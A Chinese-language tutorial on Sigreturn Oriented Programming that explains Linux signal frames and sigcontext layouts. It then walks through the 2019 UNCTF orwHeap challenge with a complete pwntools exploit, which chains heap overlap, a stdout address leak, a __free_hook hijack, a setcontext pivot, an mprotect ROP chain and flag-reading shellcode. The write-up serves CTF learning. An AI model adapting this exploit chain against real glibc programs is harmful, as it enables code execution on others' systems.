SROP

简介

SROP的全称是Sigreturn Oriented Programming,这是ROP攻击方法中的一种,其中sigreturn是一个系统调用,在类unix系统发生signal的时候会被间接地调用;在传统的ROP攻击中我们需要寻找大量的gadgets来对寄存器进行赋值已达到我们的需求,而SROP可以减少我们寻找gadgets的难度…

前置知识

signal 机制

我们都知道在Linux中,系统被分为了用户态和内核态,通常情况下用户态和内核态是相互隔离开的,而signal机制是类unix系统中进程之间相互传递信息的一种方法,常见的信号机制常见的步骤如下图所示:
signal

  1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态;
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址;此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame.需要注意的是,这一部分是在用户进程的地址空间的;之后会跳转到注册过的signal handler中处理相应的signal.因此,当signal handler执行完之后,就会执行sigreturn代码.

(此段引用ctf-wiki)
2
简单的来说就是当一个用户层进程发起signal时,控制权就会切到内核层,然后内核保存进程的上下文,即各个寄存器的值到用户的栈上,然后再把rt_sigreturn的地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn;当rt_sigreturn执行完了之后就会跳到内核层,进行内核的操作了;最后内核恢复2中保存的进程上下文,控制权再次交还到用户层进程…

sigcontext结构体

64位:

1struct _fpstate 2{ 3 /* FPU environment matching the 64-bit FXSAVE layout. */ 4 __uint16_t cwd; 5 __uint16_t swd; 6 __uint16_t ftw; 7 __uint16_t fop; 8 __uint64_t rip; 9 __uint64_t rdp; 10 __uint32_t mxcsr; 11 __uint32_t mxcr_mask; 12 struct _fpxreg _st[8]; 13 struct _xmmreg _xmm[16]; 14 __uint32_t padding[24]; 15}; 16 17struct sigcontext 18{ 19 __uint64_t r8; 20 __uint64_t r9; 21 __uint64_t r10; 22 __uint64_t r11; 23 __uint64_t r12; 24 __uint64_t r13; 25 __uint64_t r14; 26 __uint64_t r15; 27 __uint64_t rdi; 28 __uint64_t rsi; 29 __uint64_t rbp; 30 __uint64_t rbx; 31 __uint64_t rdx; 32 __uint64_t rax; 33 __uint64_t rcx; 34 __uint64_t rsp; 35 __uint64_t rip; 36 __uint64_t eflags; 37 unsigned short cs; 38 unsigned short gs; 39 unsigned short fs; 40 unsigned short __pad0; 41 __uint64_t err; 42 __uint64_t trapno; 43 __uint64_t oldmask; 44 __uint64_t cr2; 45 __extension__ union 46 { 47 struct _fpstate * fpstate; 48 __uint64_t __fpstate_word; 49 }; 50 __uint64_t __reserved1 [8]; 51}; 52 53

32位:

1struct sigcontext 2{ 3 unsigned short gs, __gsh; 4 unsigned short fs, __fsh; 5 unsigned short es, __esh; 6 unsigned short ds, __dsh; 7 unsigned long edi; 8 unsigned long esi; 9 unsigned long ebp; 10 unsigned long esp; 11 unsigned long ebx; 12 unsigned long edx; 13 unsigned long ecx; 14 unsigned long eax; 15 unsigned long trapno; 16 unsigned long err; 17 unsigned long eip; 18 unsigned short cs, __csh; 19 unsigned long eflags; 20 unsigned long esp_at_signal; 21 unsigned short ss, __ssh; 22 struct _fpstate * fpstate; 23 unsigned long oldmask; 24 unsigned long cr2; 25}; 26 27

可以看到这里面保存有很多的寄存器,signal handler返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop回对应的寄存器,最后恢复进程的执行…
需要注意的是32位的sigreturn的调用号为77,64位的系统调用号为15…

攻击原理

因为Signal Frame保存在用户的地址空间中,所以用户是可以读写的;利用rt_sigreturn恢复ucontext_t的机制,我们可以构造一个假的ucontext_t,这样我们就能控制所有的寄存器…
不过在结构体的构建时,我们可以用pwntools里面有现成的库函数:
用法可以这样:

1# 指定机器的运行模式 2context.arch = "amd64" 3# 设置寄存器 4sigframe = SigreturnFrame() 5sigframe.rax = 0x1 6sigframe.rdi = 0x2 7sigframe.rsi = 0x3 8sigframe.rdx = 0x4 9 10

但是这个SROP并不是单纯只用在一个栈溢出漏洞中,通常我们会结合有些其他的漏洞来使用,因为比较难构造…

实例

这里我以2019UNCTF的orwHeap这道题目来简单感受一下SROP的威力:
首先,我们先运行查看这个程序的功能:
start
我们发现是常规的堆分配,编辑和删除,但是没有输出…
检查开了哪些保护:
check
然后我们打开ida来分析:
ida1
这里明显有溢出了…
所以这里我们可以利用这个漏洞来修改堆的size使得堆其重叠,然后控制堆;
但是因为这里我们没有show功能来泄露地址,所以我们要想办法利用stdout函数来泄露地址;
我们需要在堆上面留下main_arena的地址,利用重叠的堆来修改这个地址,让其分配到stdout的位置,因为stdout的地址和main_arena离的很近,所以我们只需要爆破一个字节的地址就可以成功;
之后我们获得了地址了就可以利用fastbin attack劫持__free_hook,利用setcontex来进行SROP然后ROP读出flag了;
这里要说一下setcontext函数;

1int setcontext(const ucontext_t *ucp); 2 3

这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流:

1pwndbg> x/80i 0x7ffff7a7bb50 2 0x7ffff7a7bb50 <setcontext>: push rdi 3 0x7ffff7a7bb51 <setcontext+1>: lea rsi,[rdi+0x128] 4 0x7ffff7a7bb58 <setcontext+8>: xor edx,edx 5 0x7ffff7a7bb5a <setcontext+10>: mov edi,0x2 6 0x7ffff7a7bb5f <setcontext+15>: mov r10d,0x8 7 0x7ffff7a7bb65 <setcontext+21>: mov eax,0xe 8 0x7ffff7a7bb6a <setcontext+26>: syscall 9 0x7ffff7a7bb6c <setcontext+28>: pop rdi 10 0x7ffff7a7bb6d <setcontext+29>: cmp rax,0xfffffffffffff001 11 0x7ffff7a7bb73 <setcontext+35>: jae 0x7ffff7a7bbd0 <setcontext+128> 12 0x7ffff7a7bb75 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0] 13 0x7ffff7a7bb7c <setcontext+44>: fldenv [rcx] 14 0x7ffff7a7bb7e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0] 15 0x7ffff7a7bb85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] 16 0x7ffff7a7bb8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] 17 0x7ffff7a7bb93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] 18 0x7ffff7a7bb97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] 19 0x7ffff7a7bb9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] 20 0x7ffff7a7bb9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] 21 0x7ffff7a7bba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] 22 0x7ffff7a7bba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] 23 0x7ffff7a7bbae <setcontext+94>: push rcx 24 0x7ffff7a7bbaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] 25 0x7ffff7a7bbb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] 26 0x7ffff7a7bbba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] 27 0x7ffff7a7bbc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] 28 0x7ffff7a7bbc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] 29 0x7ffff7a7bbc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] 30 0x7ffff7a7bbcd <setcontext+125>: xor eax,eax 31 0x7ffff7a7bbcf <setcontext+127>: ret 32 0x7ffff7a7bbd0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x3572a1] # 0x7ffff7dd2e78 33 0x7ffff7a7bbd7 <setcontext+135>: neg eax 34 0x7ffff7a7bbd9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax 35 0x7ffff7a7bbdc <setcontext+140>: or rax,0xffffffffffffffff 36 0x7ffff7a7bbe0 <setcontext+144>: ret 37 38

一般是从setcontext+53开始用的,不然程序容易崩溃,主要是为了避开fldenv [rcx]这个指令…
一般用来利用call mprotect-> jmp shellcode

10x7ffff7b1e4d0 <mprotect>: mov eax,0xa 2 0x7ffff7b1e4d5 <mprotect+5>: syscall 3 0x7ffff7b1e4d7 <mprotect+7>: cmp rax,0xfffffffffffff001 4 0x7ffff7b1e4dd <mprotect+13>: jae 0x7ffff7b1e4e0 <mprotect+16> 5 0x7ffff7b1e4df <mprotect+15>: ret 6 0x7ffff7b1e4e0 <mprotect+16>: mov rcx,QWORD PTR [rip+0x2b4991] # 0x7ffff7dd2e78 7 0x7ffff7b1e4e7 <mprotect+23>: neg eax 8 0x7ffff7b1e4e9 <mprotect+25>: mov DWORD PTR fs:[rcx],eax 9 0x7ffff7b1e4ec <mprotect+28>: or rax,0xffffffffffffffff 10 0x7ffff7b1e4f0 <mprotect+32>: ret 11 12

最终的exp如下:

EXP

1# -*- coding:utf-8 -*- 2from pwn import * 3import os 4import struct 5import random 6import time 7import sys 8import signal 9 10context.log_level = 'debug' 11context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] 12context.arch = 'amd64' 13 14name = './pwn' 15p = process(name) 16# p = remote('101.71.29.5', 10005) 17elf = ELF(name) 18# libc = ELF('./libc-2.27.so') 19libc = ELF('./x64_libc-2.23.so.6') 20 21if args.G: 22 gdb.attach(p) 23 24def add(size, content): 25 p.sendlineafter('Your Choice: ', '1') 26 p.sendlineafter(': ', str(size)) 27 p.sendafter(': ' , content) 28 29def delete(index): 30 p.sendlineafter('Your Choice: ', '2') 31 p.sendlineafter(': ', str(index)) 32 33def edit(index, content): 34 p.sendlineafter('Your Choice: ', '3') 35 p.sendlineafter(': ', str(index)) 36 p.sendafter(': ' , content) 37 38add(0x68, '\n') 39add(0x78, '\n') 40add(0x68, (p64(0) + p64(0x21)) * 6 + '\n') 41add(0x68, (p64(0) + p64(0x21)) * 6 + '\n') 42 43 44delete(0) 45add(0x68, 'a' * 0x60 + p64(0) + p8(0xf1)) 46delete(1) 47delete(2) 48add(0x78, '\n') 49 50delete(0) 51add(0x68, 'a' * 0x60 + p64(0) + p8(0xa1)) 52delete(1) 53add(0x98, '\n') 54edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x25dd)) # 0x25dd需要爆破 55 56add(0x68, '\n') 57add(0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + '\n') 58p.recvn(0x88) 59libc_addr = u64(p.recvn(8)) - libc.symbols['_IO_2_1_stdin_'] 60log.success('libc_addr: ' + hex(libc_addr)) 61 62edit(1, 'b' * 0x70 + p64(0) + p64(0x91)) 63delete(2) 64edit(1, 'b' * 0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x20)) 65add(0x88, '\n') 66 67edit(1, 'b' * 0x70 + p64(0) + p64(0x71)) 68delete(2) 69edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(libc_addr + libc.symbols['__free_hook'] - 0x13)) 70 71frame = SigreturnFrame() 72frame.rdi = 0 73frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 # 74frame.rdx = 0x2000 75frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 76frame.rip = libc_addr + 0x00000000000bc375 #: syscall; ret; 77payload = str(frame) 78add(0x68, payload[0x80:0x80 + 0x60] + '\n') 79add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n') 80 81edit(1, payload[:0x98]) 82delete(1) 83 84layout = [ 85 libc_addr + 0x0000000000021102, #: pop rdi; ret; 86 (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000, 87 libc_addr + 0x00000000000202e8, #: pop rsi; ret; 88 0x2000, 89 libc_addr + 0x0000000000001b92, #: pop rdx; ret; 90 7, 91 libc_addr + 0x0000000000033544, #: pop rax; ret; 92 10, 93 libc_addr + 0x00000000000bc375, #: syscall; ret; 94 libc_addr + 0x0000000000002a71, #: jmp rsp; 95] 96 97shellcode = asm(''' 98sub rsp, 0x800 99push 0x67616c66 100mov rdi, rsp 101xor esi, esi 102mov eax, 2 103syscall 104 105cmp eax, 0 106js failed 107 108mov edi, eax 109mov rsi, rsp 110mov edx, 0x100 111xor eax, eax 112syscall 113 114mov edx, eax 115mov rsi, rsp 116mov edi, 1 117mov eax, edi 118syscall 119 120jmp exit 121 122failed: 123push 0x6c696166 124mov edi, 1 125mov rsi, rsp 126mov edx, 4 127mov eax, edi 128syscall 129 130exit: 131xor edi, edi 132mov eax, 231 133syscall 134''') 135p.send(flat(layout) + shellcode) 136p.interactive() 137 138

代码交流 2021